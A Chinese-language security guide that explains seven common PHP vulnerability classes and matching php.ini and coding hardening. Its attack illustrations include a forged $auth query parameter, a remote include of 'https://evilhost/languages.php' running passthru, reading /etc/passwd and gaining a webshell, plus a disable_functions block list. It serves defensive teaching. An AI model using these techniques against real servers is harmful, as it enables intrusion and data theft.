PHP 作為 Web 開發中最流行的伺服器端腳本語言,雖然功能強大且易於上手,但其靈活的特性若配置不當,極易成為駭客攻擊的目標。本文將系統性地剖析 PHP 程式中常見的七大漏洞類型,包括全域變數注入、遠程文件包含、檔案上傳缺陷、庫文件洩露、Session 機制濫用、資料型別鬆散導致的邏輯錯誤,以及高風險函數濫用,並提供對應的安全加固建議。
PHP 的變數無需預先宣告,初次使用即自動建立,型別由上下文自動推斷。這雖然降低了開發門檻,但也導致開發者鮮少初始化變數。更關鍵的是,PHP 為了方便存取使用者輸入(表單、Cookie、上傳檔案),預設將這些輸入直接註冊為全域變數。
攻擊場景: 假設有一段認證碼:if ($pass == "hello") $auth = 1; 開發者預期 $auth 未賦值時為空,但攻擊者可直接請求 https://server/test.php?auth=1,偽造全域變數 $auth 繞過驗證,獲取敏感資訊。
防禦措施:
register_globals(PHP 5.4+ 已移除此選項),強制使用超全域陣列 $_GET、$_POST、$_COOKIE、$_FILES 存取輸入。filter_input() 等內建函數過濾與驗證資料。PHP 的文件處理函數(fopen、include、require 等)原生支援 URL 封裝協議,若開發者未嚴格過濾用戶可控的文件路徑參數,攻擊者即可引入惡意遠程腳本。
攻擊鏈: 攻擊者在己控伺服器放置 languages.php(內含 passthru("/bin/ls /etc")),誘導目標執行 include("https://evilhost/languages.php"),惡意代碼將在目標伺服器上下文中執行,而非攻擊者伺服器。
防禦措施:
allow_url_fopen = Off 禁用遠程 URL 開啟。open_basedir 限制文件操作目錄範圍。PHP 依據 RFC 1867 自動處理檔案上傳,但在解析用戶腳本前,檔案已被存入暫存目錄(如 /tmp/phpXXXXX)。舊版 PHP 透過全域變數 $hello、$hello_name 等提供上傳資訊,攻擊者可偽造這些變數指向伺服器敏感文件(如 /etc/passwd),導致任意文件讀取。
更嚴重的是,結合 include() 與檔案上傳,攻擊者可上傳含惡意代碼的圖片/文本文件,再透過包含漏洞觸發執行,最終獲取 Webshell,甚至利用本地提權漏洞奪取伺服器最高權限。
防禦措施:
$_FILES 陣列與 is_uploaded_file()、move_uploaded_file() 驗證並移動上傳文件。早期習慣以 .inc 為副檔名區分庫文件,但 Apache 預設不解析該副檔名,導致源碼直接洩露。改用 .php 副檔名雖防止洩露,卻引入新風險:攻擊者可直接請求庫文件,使本應在上下文中運行的代碼獨立執行,觸發變數覆蓋、遠程包含等漏洞。
最佳實踐:
include 引入。defined('IN_APP') || exit; 防止直接訪問。include 路徑拼接。Session 資料預設存儲於 /tmp/sess_,多用戶共享主機環境下,惡意用戶可讀取或偽造 Session 文件,竊取他人登入狀態或植入惡意代碼。此外,攻擊者可預設 session_id(Session Fixation)誘導受害者使用,劫持會話。
防禦措施:
session.save_path 為獨立、權限受限目錄。session.use_strict_mode = 1 拒絕未初始化的 Session ID。session_regenerate_id(true) 更新 ID。PHP 型別自動轉換特性(如 "000" == 0 為 true,但 empty("000") 為 false)常導致驗證邏輯不一致。陣列鍵值 "000" 與 0 視為不同鍵,亦可能引發業務邏輯錯誤。
建議: 統一使用嚴格比較 ===,明確型別轉換,避免混用 empty()、is_null()、== 進行關鍵判斷。
以下函數若未嚴格過濾輸入,極易導致命令執行、代碼注入、文件洩露:
| 類別 | 高風險函數 |
|---|---|
| 代碼執行 | eval(), assert(), preg_replace() /e, create_function(), include/require (動態路徑) |
| 命令執行 | exec(), system(), passthru(), shell_exec(), popen(), proc_open(), ` (反引號) |
| 文件洩露 | fopen(), readfile(), file(), file_get_contents(), highlight_file(), show_source() |
加固建議: 在 php.ini 中設定 disable_functions = exec,system,passthru,shell_exec,proc_open,popen,eval,assert,create_function,並結合 open_basedir、safe_mode (PHP 5.4 已移除) 進行多層防護。
根據實施難度與對業務影響,推薦以下配置優先級:
register_globals = Off (PHP 5.4+ 預設關閉)allow_url_fopen = Off, open_basedir = /var/www:/tmpdisplay_errors = Off, log_errors = On, error_log = /var/log/php_errors.logdisable_functions, session.cookie_httponly = 1, session.cookie_secure = 1 (僅 HTTPS)採用「最小權限原則」配置 PHP 環境,結合 WAF、代碼審計、定期滲透測試,方能構建纵深防禦體系。